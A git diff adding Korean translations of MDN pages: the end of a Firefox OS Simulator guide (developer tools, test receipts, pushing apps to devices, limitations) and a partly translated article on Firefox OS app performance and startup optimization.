+<p>문제를 더 빨리 발견하고 해결하기 위해 디버거를 사용하면 여러분은 손쉽게 연결된 앱의 자바스크립트의 단계별 실행 , 분기점 관리, 식 보기 등을 할수가 있습니다. (<a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Web_Console">Learn more about the Debugger.</a>)</p>
+<h3 id="스타일_편집기">스타일 편집기</h3>
+<p><span id="result_box" lang="ko"><span class="hps">스타일</span> <span class="hps">편집기를</span> <span class="hps atn">연결</span><span>하면</span> <span class="hps atn">앱</span><span>에서</span> <span class="hps">참조하는</span> <span class="hps atn">CSS 파일</span><span>의 열람이나</span> <span class="hps atn">편집</span><span class="atn">이 가능</span><span>합니다.</span> <span class="hps">변경 한</span> <span class="hps">부분은</span> <span class="hps atn">앱</span><span>을</span> <span class="hps">업데이트</span> <span class="hps">할</span> <span class="hps">필요없이</span> <span class="hps">실시간으로</span> <span class="hps atn">앱</span><span>에</span> <span class="hps atn">반영</span><span>됩니다.</span></span> (<a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Web_Console">Learn more about the Style Editor.</a>)</p>
+<h3 id="프로파일러">프로파일러</h3>
+<p><span id="result_box" lang="ko"><span class="hps atn">앱</span><span>에 연결된 </span><span class="hps">프로파일러</span> <span class="hps">도구를</span> <span class="hps">사용하여</span> <span class="hps atn">JavaScript 코드</span><span>에서</span> <span class="hps atn">시간이 너무 많이 소요하는 구간을 찾을수 있습니다</span><span class="hps">.</span> <span class="hps">프로파일러는</span> <span class="hps">JavaScript</span> <span class="hps atn">최근 호출 스택을 샘플하고</span> <span class="hps">컴파일</span> <span class="hps">상태를</span> <span class="hps">주기적으로</span> <span class="hps atn">샘플링</span><span>합니다.</span></span> (<a href="/en-US/docs/Tools/Profiler" title="/en-US/docs/Tools/Web_Console">Learn more about the Profiler.</a>)</p>
+<h3 id="네트워크_모니터">네트워크 모니터</h3>
+<p><span id="result_box" lang="ko"><span class="hps">새로운</span> <span class="hps">네트워크</span> <span class="hps">모니터</span> <span class="hps">덕분에,</span> <span class="hps">앱이</span> <span class="hps">시작한</span> <span class="hps">모든</span> <span class="hps">네트워크</span> <span class="hps">요청 상태</span> <span class="hps atn">헤더</span><span>, 콘텐츠</span> <span class="hps atn">타이밍</span><span>을</span> <span class="hps">사용자</span> <span class="hps">친화적인 인터페이스를</span> 통해 <span class="hps">분석</span> <span class="hps">할 수 있습니다.</span></span>(<a href="https://hacks.mozilla.org/2013/06/network-monitor-now-in-firefox-beta/" title="https://hacks.mozilla.org/2013/06/network-monitor-now-in-firefox-beta/">Learn more about the Network Monitor.</a>)</p>
+<h2 id="영수증"><a name="Simulator-receipts"></a>영수증</h2>
+<p>만약에 여러분이 유료 앱을 개발중이시라면 여러분은 여러분의 앱의 유효한 (cryptographically signed) 영수증(valid receipt)을 가진 영수증 인증 코드 (receipt validation code, 코드는 유저가 이미 앱을 구매했거나 환불을 요구했음을 보여주고 유저에게 앱의 기능을 제한하거나 허락함을 알립니다)를 테스트 하셔야 합니다.</p>
+<p><span id="result_box" lang="ko">시뮬레이터의 대시보드의 <span class="hps">각</span> <span class="hps atn">앱</span><span>의</span> <span class="hps atn">항목에있는 "</span><strong><span class="atn">Receipts</span></strong><span class="atn">"</span><span>메뉴를 이용해 각 앱을</span> <span class="hps atn">"</span><strong><span class="atn">Valid</span></strong><span class="atn">, "</span><strong><span class="atn">Invalid</span></strong><span class="atn">", "</span><strong><span class="atn">Refunded</span></strong><span class="atn">"</span><span> 테스트</span> <span class="hps atn">영수증</span><span>과 </span>함께 설치할수 있습니다. <span class="hps">테스트하려는</span> <span class="hps atn">영수증</span><span>의</span> <span class="hps atn">종류</span><span>를</span> <span class="hps">선택하면</span> <span class="hps atn">대시보드가</span> <span class="hps atn">Marketplace</span><span>의</span> <span class="hps">영수증</span> <span class="hps atn">서비스</span><span>에서</span> <span class="hps">그</span> <span class="hps atn">종류</span><span>의</span> <span class="hps">테스트</span> <span class="hps">영수증을</span> <span class="hps">가져오고</span> 시뮬레이터에서 <span class="hps">테스트</span> <span class="hps atn">영수증</span><span>과 함께</span> <span class="hps">응용 프로그램을 다시</span> <span class="hps atn">설치</span><span>합니다</span> <span class="hps">:</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5523/simulator-receipts-selector-4.0.png"></p>
+<h2 id="기기로의_전송"><a name="기기로의 전송">기기로의 전송</a></h2>
+<p>만약에 여러분이 별도의 Firefox OS 기기들이 있으시다면, 여러분을 그 기기들을 시뮬레이터에 연결할수 있고, 추가하신 앱들을 대시보드에서 기기들로 바로 전송할수 있습니다.</p>
+<h3 id="기기에_연결하기">기기에 연결하기</h3>
+<p>기기를 연결하시려면 <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop">connecting a Firefox OS device to the desktop</a>에 있는 가이드를 따르십시오.시뮬레이터가 ADB를 미리 포함하고 있기 때문에 따로 설치를 하실 필요가 없다는걸 염두해 두세요.</p>
+<h3 id="앱을_디바이스로_전송하기">앱을 디바이스로 전송하기</h3>
+<p>일단 데스크탑과 기기를 준비하시고 기기를 데스크탑에 USB로 연결하셨다면, 대시보드에서 디바이스가 연결되었음을 알리는 "Device connected"가 뜨는걸 보실수 있습니다. 그리고 "Push"라고 되어 있는 새로운 명령 버튼이 나타납니다:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5521/simulator-push2device.png"></p>
+<p> <strong>"Push"</strong>버튼을 클릭하시면 선택하신 앱은 자동적으로 Firefox OS 기기에 전송되었을 것입니다.</p>
+<div class="note">
+ <p><strong>수동적 방법:</strong></p>
+ <ul>
+  <li>
+   <p><span id="result_box" lang="ko"><span class="hps">응용 프로그램을</span> <span class="hps atn">장치</span><span>에</span> <span class="hps atn">푸시한뒤</span> <span class="hps">업데이트 된</span> <span class="hps atn">콘텐츠</span><span>를</span> <span class="hps">얻기 위해선</span> <span class="hps">수동으로</span> <span class="hps">응용 프로그램을</span> <span class="hps atn">닫고 다시 시작</span><span class="atn">해야</span><span>합니다.</span></span></p>
+  </li>
+  <li>
+   <p>매니페스트에 어떤 변경(예를 들어서 앱 이름, 화면 방향, 타입, 권한)을 한 경우에는 운영체제를 재부팅 해야지 효과를 적용할수 있습니다.</p>
+  </li>
+ </ul>
+</div>
+<h3 id="Firefox_OS_기기_연결_확인">Firefox OS 기기 연결 확인</h3>
+<p>어느 기기에서 재부팅 할때나 첫번째 "<strong>Push"(전송) </strong>요구는 디바이스에서 확인되어야 합니다:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5527/device-push-confirmation.png" style="width: 320px; height: 480px;"></p>
+<h3 id="Linux에서_문제해결">Linux에서 문제해결</h3>
+<p>udev rules를 생성하신뒤에 기기에 연결이 안 된다면 이 <a href="https://github.com/mozilla/r2d2b2g/issues/515" title="https://github.com/mozilla/r2d2b2g/issues/515">bug</a>를 참조하세요.</p>
+<h2 id="시뮬레이터의_제약"><a name="제약">시뮬레이터의 제약</a></h2>
+<p>Firefox OS 시뮬레이터가 완벽한 시뮬레이션을 제공하지 않음을 염두해 두세요.</p>
+<h3 id="하드웨어_제약">하드웨어 제약</h3>
+<p>스크린 사이즈를 제외하고도, Firefox OS 시뮬레이터는 Firefox OS 기기들의 CPU 속도나 메모리같은 하드웨어 제약을 시뮬레이트하지 않습니다.</p>
+<h3 id="오디오비디오_코덱">오디오/비디오 코덱</h3>
+<p>다음과 같은 코덱들은 하드웨어 가속에 의존하므로 아직 지원되지 않습니다:</p>
+<ul>
+ <li>MP3</li>
+ <li>AAC</li>
+ <li>H.264 (MP4)</li>
+ <li>WebM</li>
+</ul>
+<p>이것은 위에 리스트 되어있는 코덱을 사용하는 앱이나 유튜브같은 웹사이트들은 작동하는것이 불가능하다는걸 의미합니다.</p>
+<h3 id="지원되지_않는_API들"><a name="지원되지 않는 API들">지원되지 않는 API들</a></h3>
+<p>데스크탑 하드웨어의 제약 때문에, 몇가지의 API들은 시뮬레이터에서 작동을 하지 않습니다. 저희는 geolocation과 같은 몇몇 API들을 위한 시뮬레이션을 넣었습니다. 하지만, 지금으로서는 다음 리스트에 있는 API들은 작동하지 않습니다. 다음과 같은 API를 사용하면 에러가 뜨거나 맞지 않은 결과를 가져다 줄 것입니다:</p>
+<ul>
+ <li><a href="/en-US/WebAPI/WebTelephony" title="/en-US/WebAPI/WebTelephony">Telephony</a></li>
+ <li><a href="/en-US/docs/WebAPI/WebSMS" title="/en-US/docs/WebAPI/WebSMS">WebSMS</a></li>
+ <li><a href="/en-US/docs/WebAPI/WebBluetooth" title="/en-US/docs/WebAPI/WebBluetooth">WebBluetooth</a></li>
+ <li><a href="/en-US/docs/WebAPI/Using_Light_Events" title="/en-US/docs/WebAPI/Using_Light_Events">Ambient Light</a></li>
+ <li><a href="/en-US/docs/WebAPI/Proximity" title="/en-US/docs/WebAPI/Proximity">Proximity</a></li>
+ <li><a href="/en-US/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">Network Information</a></li>
+ <li><a href="/en-US/docs/Online_and_offline_events" title="/en-US/docs/Online_and_offline_events">navigator.onLine and offline events</a></li>
+ <li><a href="/en-US/docs/WebAPI/Vibration" title="/en-US/docs/WebAPI/Vibration">Vibration</a></li>
+</ul>
+<h2 id="도움_받기"><a name="Simulator-help"></a>도움 받기</h2>
+<p><span id="result_box" lang="ko"><span class="hps atn">Firefox OS 시뮬레이터는</span> <span class="hps">아직</span> <span class="hps atn">개발 초기 단계</span><span>입니다. </span><span class="hps atn">저희가 원하는</span><span class="atn">만큼</span><span>의 안정성과</span> <span class="hps atn">완성도</span><span>가</span> <span class="hps">없습니다.</span></span></p>
+<p>버그를 발견하셨다면 <a href="https://github.com/mozilla/r2d2b2g/issues?state=open">GitHub에 보고</a> 해주세요. 만약에 물어보실게 있으시다면 <a href="https://lists.mozilla.org/listinfo/dev-developer-tools">개발자 도구 메일링 리스트</a>나<a href="irc://irc.mozilla.org/#devtools"> irc.mozilla.org의 #devtools</a>에서 질문해 주세요.</p>
+<h3 id="verbose_logging을_활성화하는_방법"><a name="Simulator-verbose-logging"></a>verbose logging을 활성화하는 방법</h3>
+<p>설정하기 위해 about:config를 사용해 주세요. <a href="mailto:extensions.r2d2b2g@mozilla.org.sdk.console.logLevel">extensions.r2d2b2g@mozilla.org.sdk.console.logLevel</a>를 정수값 0으로 설정해 주세요, 그리고 부가 기능을 비활성화하고 재활성화를 해주세요. 시뮬레이터 구동에 관련한 추가적 메세지들은 에러 콘솔에서 나타날 것입니다(혹은 최신 버전의 Firefox의 브라우저 콘솔에서)</p>
+<h3 id="어떻게_시뮬레이터의_가장_최신_프리뷰_빌드를_받을수_있을까요"><a name="시뮬레이터 최신 프리뷰 빌드 받기"></a>어떻게 시뮬레이터의 가장 최신 프리뷰 빌드를 받을수 있을까요?</h3>
+<p>이 문서의 한 섹션이 설명하는 대로, 여러분은 최신 Firefox OS 빌드 추가기능을 <a href="https://addons.mozilla.org/en-US/firefox/addon/firefox-os-simulator/">addons.mozilla.org</a>에서 받을수 있습니다.</p>
+<p>가끔 여러분은 아직 공식적으로 릴리즈 되지 않는 기능들을 사용할수도 있을텐데요. 그렇다면, 여러분들은 최신 프리뷰 빌드들을 다음과 같은 URL들에서 받으실수 있습니다.</p>
+<ul>
+ <li>Windows: <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-windows.xpi">https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-windows.xpi</a></li>
+ <li>Mac: <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-mac.xpi">https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-mac.xpi</a></li>
+ <li>Linux: <a href="https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-linux.xpi">https://ftp.mozilla.org/pub/mozilla.org/labs/r2d2b2g/r2d2b2g-linux.xpi</a></li>
+</ul>
+<p>프리뷰 빌드들은 릴리즈된 빌드들보다 덜 안정적이고 테스트 되어야 함을 염두해 두세요.</p>
+<h2 id="Subnav">Subnav</h2>
+<ol>
+ <li><a href="/en-US/docs/Tools/Toolbox">Toolbox</a>
+  <ol>
+   <li><a href="/en-US/docs/Tools/Page_Inspector" title="Tools/Page_Inspector">Page Inspector</a></li>
+   <li><a href="/en-US/docs/Tools/Web_Console" title="Web Console">Web Console</a></li>
+   <li><a href="/en-US/docs/Tools/Style_Editor" title="Style Editor">Style Editor</a></li>
+   <li><a href="/en-US/docs/Tools/Debugger" title="Debugger">Debugger</a></li>
+   <li><a href="/en-US/docs/Tools/Profiler" title="Profiler">Profiler</a></li>
+   <li><a href="/en-US/docs/Tools/Network_Monitor" title="Network Monitor">Network Monitor</a></li>
+   <li><a href="/en-US/docs/Tools/Shader_Editor">Shader Editor</a></li>
+  </ol>
+ </li>
+ <li><a href="#">Mobile</a>
+  <ol>
+   <li><a href="/en-US/docs/Tools/Remote_Debugging" title="Remote Debugging">Remote Debugging</a></li>
+   <li><a href="https://developer.mozilla.org/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Firefox_OS_Simulator">Firefox OS 시뮬레이터</a></li>
+   <li><a href="/en-US/docs/Tools/Responsive_Design_View" title="Responsive Design View">Responsive Design View</a></li>
+  </ol>
+ </li>
+ <li><a href="#">Standalone tools</a>
+  <ol>
+   <li><a href="/en-US/docs/Tools/Scratchpad" title="Scratchpad">Scratchpad</a></li>
+   <li><a href="/en-US/docs/Tools/Browser_Console" title="Browser Console">Browser Console</a></li>
+   <li><a href="/en-US/docs/Tools/GCLI" title="GCLI">Developer Toolbar</a></li>
+   <li><a href="/en-US/docs/Tools/3D_View" title="3D View">3D View</a></li>
+   <li><a href="/en-US/docs/Tools/Paint_Flashing_Tool" title="Paint Flashing Tool">Paint Flashing Tool</a></li>
+   <li><a href="/en-US/docs/Tools/Browser_Toolbox" title="Browser Toolbox">Browser Toolbox</a></li>
+  </ol>
+ </li>
+</ol>
+<p> </p>
+<p> </p>
diff --git a/files/ko/archive/b2g_os/성능/index.html b/files/ko/archive/b2g_os/성능/index.html
new file mode 100644
index 0000000000..dd7ccb98ee
--- /dev/null
+++ b/files/ko/archive/b2g_os/성능/index.html
@@ -0,0 +1,146 @@
+---
+title: 성능
+slug: Archive/B2G_OS/성능
+translation_of: Web/Performance/Fundamentals
+---
+<p><span id="result_box" lang="ko"><span class="hps atn">성능</span><span>은</span> <span class="hps atn">광범위한 주제</span><span>입니다.</span> <span class="hps">본</span> <span class="hps">문서는</span> <span class="hps atn">Firefox OS</span><span>가</span> <span class="hps">어떻게</span> <span class="hps">설계</span> <span class="hps atn">및 최적화</span><span>되어</span> <span class="hps atn">있는지</span><span>의 관해</span> <span class="hps">대략적인</span> <span class="hps atn">개요</span><span>를</span> <span class="hps">설명합니다.</span> 그리고 <span class="hps">개발자가</span> <span class="hps atn">자신</span><span>의</span> <span class="hps">코드</span> <span class="hps atn">성능을 향상</span><span>시키는</span> <span class="hps">데 사용할 수있는</span> <span class="hps">도구와</span> <span class="hps">프로세스를</span> <span class="hps atn">소개</span><span>합니다.</span></span></p>
+<h2 id="성능이란_무엇인가요">성능이란 무엇인가요?</h2>
+<p><span id="result_box" lang="ko"><span class="hps atn">성능</span><span>은 전적으로</span> <span class="hps atn">사용자</span><span class="atn">에 의해 인식</span><span>됩니다.</span> <span class="hps">사용자가</span> <span class="hps atn">터치</span><span>, 이동,</span> <span class="hps">대화를 통해</span> <span class="hps atn">시스템</span><span>에</span> <span class="hps">입력</span> <span class="hps atn">정보를 제공</span><span>할때 </span><span class="hps">그</span> <span class="hps">대가로</span> <span class="hps atn">사용자</span><span>는</span> <span class="hps atn">시각적</span><span>,</span> <span class="hps">촉각</span> <span class="hps atn">적</span><span>,</span> <span class="hps">청각 적</span> <span class="hps atn">피드백 방식</span><span>에 의해</span> <span class="hps">출력</span> <span class="hps atn">정보</span><span>를 받습니다.</span> <span class="hps">성능은</span> <span class="hps">그</span> <span class="hps atn">입력</span><span class="atn">에 대한 응답</span><span>의</span> <span class="hps">출력</span> <span class="hps atn">품질</span><span>입니다.</span></span></p>
+<p>유저 인식 성능(이 다음부터는 UPP라 부릅니다) 대신 다른 목적으로 최적화된 코드는 여러가지 타겟을 동등하게 최적화된 코드와 비교해서 떨어질수밖에 없습니다. 사용자는 프로세싱 성능이 떨어져도 응답성이 좋고 부드러운 응용 프로그램들을 선호합니다. 예를 들자면, 사용자들은 응답성이 좋으면서 부드럽지만 초당 1,000개의 데이터베이스 트렌젝션 처리를 하는 앱을 응답성이 좋지 않고 부드럽지 않지만 초당 100,000,000개의 데이터베이스 트렌젝션 처리를 하는 앱보다 선호할 것입니다.</p>
+<p>당연히 데이터베이스 초당 트렌젝션 수같은 성능을 빠르게 처리하는게 의미가 없다는게 아닙니다; 그런건 당연히 의미가 있죠. 저희가 말하려는건 이런 것에 주를 두지 말고, UPP를 개선하는데 주를 둬야 한다는 것입니다.</p>
+<p><span id="result_box" lang="ko"><span class="hps">성능에 관한 주요 </span><span class="hps atn">지표</span><span>는</span> <span class="hps">여러 가지</span>가 있습니다<span class="hps">.</span> <span class="hps">첫번째로</span> <span class="hps atn">"</span><span>응답성</span> <span class="hps atn">(</span><span class="atn">responsiveness</span><span class="atn">)</span><span class="atn">"</span><span>입니다.</span> 응답성은 <span class="hps">단순히</span> <span class="hps atn">사용자</span><span>의</span> <span class="hps atn">입력</span><span>에 대한 </span><span class="hps">시스템</span> <span class="hps">출력</span><span class="hps atn">(복수가</span><span> 될 수도</span> <span class="hps atn">있습니다</span><span class="atn">)의</span> <span class="hps">반환</span> <span class="hps atn">속도</span><span>입니다.</span> <span class="hps">예를 들어</span> <span class="hps">사용자가</span> <span class="hps atn">스크린</span><span>을</span> <span class="hps">누를</span> <span class="hps">때</span> 사용자들은<span class="hps"> </span><span class="hps atn">픽셀</span><span>에 어떤</span> <span class="hps">변화가</span> <span class="hps">일어난다고</span> <span class="hps">생각합니다.</span> <span class="hps atn">이 경우에는 "</span><span class="atn">탭</span><span class="atn">"</span><span class="atn">제스처</span><span>에서</span> <span class="hps atn">픽셀</span><span>이</span> <span class="hps">변경 될 때까지</span> <span class="hps">걸린 시간이</span> <span class="hps atn">응답성의 지표가 됩니다</span><span>.</span></span></p>
+<p><span id="result_box" lang="ko"><span class="hps atn">응답성은</span> 자주 여러 단계의 피드백을  <span class="hps atn">필요로</span><span>합니다.</span> <span class="hps atn">응용 프로그램</span><span>의</span> <span class="hps atn">시작</span><span>은</span> <span class="hps">특히</span> <span class="hps">중요한</span> <span class="hps">사례</span> <span class="hps atn">중 하나이며</span><span>,</span> <span class="hps">이에 대해서는 나중에</span> <span class="hps atn">자세히 설명</span><span>합니다.</span></span></p>
+<p>응답성은 간단히 아무도 무시되는걸 원하지 않는다는 단순한 이유 때문에 중요합니다. 사용자가 입력을 한 후에 시스템이 반응하기까지의 시간은 유저가 무시되는 시간입니다. 무시되는 것은 짜증과 화를 유발합니다.</p>
+<p><span id="result_box" lang="ko"><span class="hps">다음으로 중요한</span> <span class="hps atn">지표</span><span>는</span> <span class="hps atn">"</span><span class="atn">프레임 레이트</span><span class="atn">"</span><span>입니다. 프레임 레이트란 </span><span class="hps atn">시스템</span><span>이</span> <span class="hps atn">사용자에게 표시</span><span class="atn">하는 픽셀</span><span>을</span> <span class="hps">변경</span>하는 속도입니다<span>.</span> <span class="hps">이것은 </span>흔한 컨셉이고<span class="hps"> </span><span class="hps">모두가</span> 좋아합니다<span>. 예를 들어 모든 사람은 </span> <span class="hps">초당 60</span> <span class="hps">프레임 레이트를 보여주는 게임은 </span><span>이유를</span> <span class="hps">설명</span> <span class="hps">할 수 없어도</span> <span class="hps">초당</span> <span class="hps">10</span> <span class="hps atn">프레임</span><span> 레이트를 보여주는</span> <span class="hps atn">게임</span><span>보다</span> </span>더 선호할 것입니다.</p>
+<p>프레임 레이트는 "서비스의 질"의 지표로서 중요합니다. 컴퓨터의 디스플레이는 전자를 움직여서 현실을 모사하여 사용자들의 눈을 속이도록 디자인되어 있습니다. <span id="result_box" lang="ko"><span class="hps">예를 들자면, </span><span class="hps">문서</span> <span class="hps atn">리더</span><span>의</span> <span class="hps atn">디스플레이</span><span>는 실제</span> <span class="hps">종이의</span> <span class="hps">선명한</span> <span class="hps atn">텍스트</span><span>에</span> <span class="hps atn">반사되는 빛</span><span>과</span> <span class="hps">같은 패턴으로</span> <span class="hps atn">사용자</span><span>의</span> <span class="hps atn">망막</span><span>에</span> <span class="hps">닿는</span> <span class="hps">빛을</span> <span class="hps">생성하도록</span> <span class="hps">설계된</span> <span class="hps">디스플레이</span> <span class="hps atn">픽셀</span><span>을</span> <span class="hps atn">만들어 텍스트</span><span>를</span> <span class="hps">표시합니다.</span></span></p>
+<p>현실에서는 동작은 "연속적입니다" (저희 두뇌가 알려주는 바에 따르면요); it's not jerky and discrete, but rather "updates" smoothly. (Strobe lights are fun because they turn that upside down, starving our brains of inputs to create the illusion of discrete reality.) On a computer display, a higher framerate simply allows the display to imitate reality more faithfully.</p>
+<p>(흥미로운 점은 인간은 보통 60Hz 이상의 프레임 레이트를 구분하지 못한다는 것입니다. 그렇기 때문에 대부분의 현대의 전자식 디스플레이들은 60Hz로 디자인 되어 있습니다. 예를 들자면 TV 스크린은 벌새에게는 비자연스럽고 끊기는 것처럼 보일 것입니다.)</p>
+<p>Memory usage is another key metric. Unlike responsiveness and framerate, users don't directly perceive memory usage. However, memory usage is a close approximation to "user state". An ideal system would maintain 100% of user state at all times: all applications in the system would run simultaneously, and all applications would retain the state created by the user the last time the user interacted with the application. (Application state is stored in computer memory, which is why the approximation is close.)</p>
+<p>An important corollary of this is contrary to popular belief: a well-designed system should not be optimized to maximize the amount of <strong>free</strong> memory. Memory is a resource, and free memory is a unused resource. Rather, a well-designed system should be optimized to <strong>use</strong> as much memory as possible in service of maintaining user state, while meeting other UPP goals.</p>
+<p>Optimizing a system to use memory doesn't mean it should <strong>waste</strong> memory. Using more memory than is required to maintain some particular user state is wasting a resource that could be used to retain some other user state.</p>
+<p>In reality, no system can maintain all user state. Intelligently allocating memory to user state is an important concern that's discussed in more detail below.</p>
+<p>The final metric discussed here is power usage. Like memory usage, users don't directly perceive power usage. Users perceive power usage indirectly by their devices being able to maintain all other UPP goals for a longer duration. In service of meeting UPP goals, the system must use only the minimum amount of power required.</p>
+<p>The remainder of this document will discuss performance in terms of these metrics.</p>
+<h2 id="폴랫폼_성능">폴랫폼 성능</h2>
+<p>이 부분은 Firefox OS가 응용 프로그램 아래서 보통 어떻게 성능을 향상시키기 위해 공헌하는지에 대한 간략적 요약입니다. 앱 개발자나 유저의 입장에서 "이 폴랫폼이 저를 위해서 뭘 해줄수 있나요?" 라는 질문에 대한 대답입니다.</p>
+<p>This section assumes the reader is familiar with the basic conceptual design of Firefox OS.</p>
+<p>Firefox OS is optimized for applications built with web technologies, HTML/CSS/JavaScript and so on. Except for a handful of basic system services, all the code that runs in Firefox OS is web applications and the Gecko engine. Even the operating system window manager is written in HTML/CSS/JS.</p>
+<p>Because the core operating system is built with the same web technologies that applications are built with, the performance of those technologies is critical. There's no "escape hatch". This greatly benefits developers because all the optimizations that enable a performant OS window manager, for example, are available to third-party applications as well. There's no "magic performance sauce" available only to preinstalled code.</p>
+<p>The web platform provides many tools, some better suited for particular jobs than others. All application logic is written in JavaScript. For displaying graphics, developers can choose between the high-level declarative languages of HTML/CSS, or use low-level imperative interfaces offered by the canvas element.</p>
+<p>HTML과 CSS는 생산성을 크게 증가시킵니다, pixel-level control over rendering or a few frames per second. Text and images are reflowed automatically, the system theme is applied to UI elements by default, and "built-in" support is provided for some use cases developers may not think about initially, like different-resolution displays or right-to-left languages.</p>
+<p>The canvas element offers a pixel buffer directly to developers to draw on. This gives pixel-level control over rendering and precise control of framerate to developers. But it comes at the expense of extra work needed to deal with multiple resolutions and orientations, right-to-left languages, and so forth. Developers draw to canvases using either a familiar 2D drawing API, or WebGL, a "close to the metal" binding that mostly follows OpenGL ES 2.0.</p>
+<p>(Somewhere "in between" HTML/CSS and canvas is SVG, which is beyond the scope of this document.)</p>
+<p>The Gecko JavaScript engine supports just-in-time (JIT) compilation. This enables application logic to perform comparably to other virtual machines, such as Java virtual machines, and in some cases close to "native code".</p>
+<p>The graphics pipeline in Gecko underlying HTML/CSS and canvas is optimized in several ways. The HTML/CSS layout and graphics code in Gecko minimizes invalidation and repainting for common cases likes scrolling; developers get this support "for free". Pixel buffers painted by both Gecko "automatically" and applications to canvas "manually" minimize copies when being drawn to the display framebuffer. This is done by avoiding intermediate surfaces where they would create overhead (such as per-application "back buffers" in many other operating systems), and by using special memory for graphics buffers that can be directly accessed by the compositor hardware. Complex scenes are rendered using the device's GPU for maximum performance. To improve power usage, simple scenes are rendered using special dedicated composition hardware, while the GPU idles or turns off.</p>
+<p>Fully static content is the exception rather than the rule for rich applications. Rich applications use dynamic content with animations, transitions, and other effects. Transitions and animations are particularly important to applications. Developers can use CSS to declare even complicated transitions and animations with a simple, high-level syntax. In turn, Gecko's graphics pipeline is highly optimized to render common animations efficiently. Common-case animations are "offloaded" to the system compositor, which can render them both performantly and power efficiently.</p>
+<p>The runtime performance of applications is important, but just as important is their startup performance. Firefox OS improves startup experience in several ways.</p>
+<p>Gecko is optimized to load a wide variety of content efficiently: the entire Web! Many years of improvements targeting this content, like parallel HTML parsing, intelligent scheduling of reflows and image decoding, clever layout algorithms, etc, translate just as well to improving web applications on Firefox OS. The content is written using the same technologies.</p>
+<p>Each web application has its own instance of the Gecko rendering engine. Starting up this large, complicated engine is not free, and because of that, Firefox OS keeps around a preallocated copy of the engine in memory. When an app starts up, it takes over this preallocated copy and can immediately begin loading its application resources.</p>
+<p>Applications "start" most quickly when they're already running. To this end, Firefox OS tries to keep as many applications running in the background as possible, while not regressing the user experience in foreground applications. This is implemented by intelligently prioritizing applications, and discarding background applications according to their priorities when memory is low. For example, it's more disruptive to a user if their currently-playing music player is discarded in the background, while their background calculator application keeps running. So, the music player is prioritized above the calculator automatically by Firefox OS and the calculator is discarded first when memory is low.</p>
+<p>Firefox OS prevents applications that are running in the background from impacting the user experience of foreground applications through two mechanisms. First, timers created by background apps are "throttled" to run at a low frequency. Second, background applications are given a low CPU priority, so that foreground applications can get CPU time when they need it.</p>
+<p>In addition to the above, Firefox OS includes several features designed to improve power usage that are common to mobile operating systems. The Firefox OS kernel will eagerly suspend the device for minimal power usage when the device is idle. Relatedly, ICs like the GPU, cellular radio, and Wifi radio are powered down when not being actively used. Firefox OS also takes advantage of hardware support for media decoding.</p>
+<h2 id="응용_프로그램_성능">응용 프로그램 성능</h2>
+<p>This section is intended for developers asking the question: "how can I make my app fast"?</p>
+<h3 id="시작_시간_성능">시작 시간 성능</h3>
+<p>Application startup is punctuated by three user-perceived events, generally speaking. The first is the application "first paint": the point at which sufficient application resources have been loaded to paint an initial frame. Second is when the application becomes interactive; for example, users are able to tap a button and the application responds. The final event is "full load", for example when all the user's albums have been listed in a music player.</p>
+<p>The key to fast startup is to keep two things in mind: UPP is all that matters, and there's a "critical path" to each user-perceived event above. The critical path is exactly and only the code that must run to produce the event.</p>
+<p>For example, to paint an application's first frame that comprises visually some HTML and CSS to style that HTML, (i) the HTML must be parsed; (ii) the DOM for that HTML must be constructed; (iii) resources like images in that part of the DOM have to be loaded and decoded; (iv) the CSS styles must be applied to that DOM; (v) the styled document has to be reflowed. Nowhere in that list is "load the JS file needed for an uncommon menu"; "fetch and decode the image for the High Scores list"; etc. Those work items are not on the critical path to painting the first frame.</p>
+<p>It seems obvious, but to reach a user-perceived startup event more quickly, the main "trick" is to just not run code that's off the critical path. Alternatively, shorten the critical path by simplifying the scene.</p>
+<p>The web platform is highly dynamic. JavaScript is a dynamically-typed language, and the web platform allows loading code, HTML, CSS, images, and other resources dynamically. These features can be used to defer work at startup that's off the critical path, by loading the unnecessary content "lazily" some time after startup.</p>
+<p>Another problem that can delay startup is idle time, caused by waiting on responses to requests like database loads. To avoid this problem, applications can "front load" the work by issuing requests as early as possible in startup. Then when the data is needed later, it's hopefully already been fetched and the application doesn't need to wait.</p>
+<p>Relatedly, it's important to separate network requests for dynamic data from static content that can be cached locally. Locally-cached resources can be loaded much more quickly than they can be fetched over high-latency and lower-bandwidth mobile networks. Network requests should never be on the critical path to early application startup. Caching resources locally is also the only way applications can be used when "offline". Firefox OS allows applications to cache resources by either being "packaged" in a compressed ZIP file or "hosted" through HTML5 appcache. How to choose between these options for a particular type of application is beyond the scope of this document, but in general application packages provide optimal load performance; appcache is slower.</p>
+<p>A few other hints are listed below:</p>
+<ul>
+ <li>
+  <p>Don't include scripts or stylesheets that don't participate in the critical path in your startup HTML file. Load them when needed.</p>
+ </li>
+ <li>
+  <p>Use the "defer" or "async" attribute on script tags needed at startup. This allows HTML parsers to process documents more efficiently.</p>
+ </li>
+ <li>
+  <p>Don't force the web engine to construct more DOM than is needed. A "hack" to do this simply is to leave your HTML in the document, but commented out.</p>
+  <pre>&lt;div id="foo"&gt;&lt;!--
+  &lt;div&gt; ...
+--&gt;&lt;/div&gt;</pre>
+ </li>
+ <li>
+  <p>When that part of the document needs to be rendered, load the commented HTML.</p>
+  <pre>foo.innerHTML = foo.firstChild.nodeValue;</pre>
+ </li>
+ <li>
+  <p>Use Web Worker Threads for background processing. Only the application "main thread" can process user events and render primary UI. But a common use case is to fetch some data, process it, then update the UI. Use Worker Threads for this work and keep the main thread free for interacting with the user.</p>
+ </li>
+</ul>
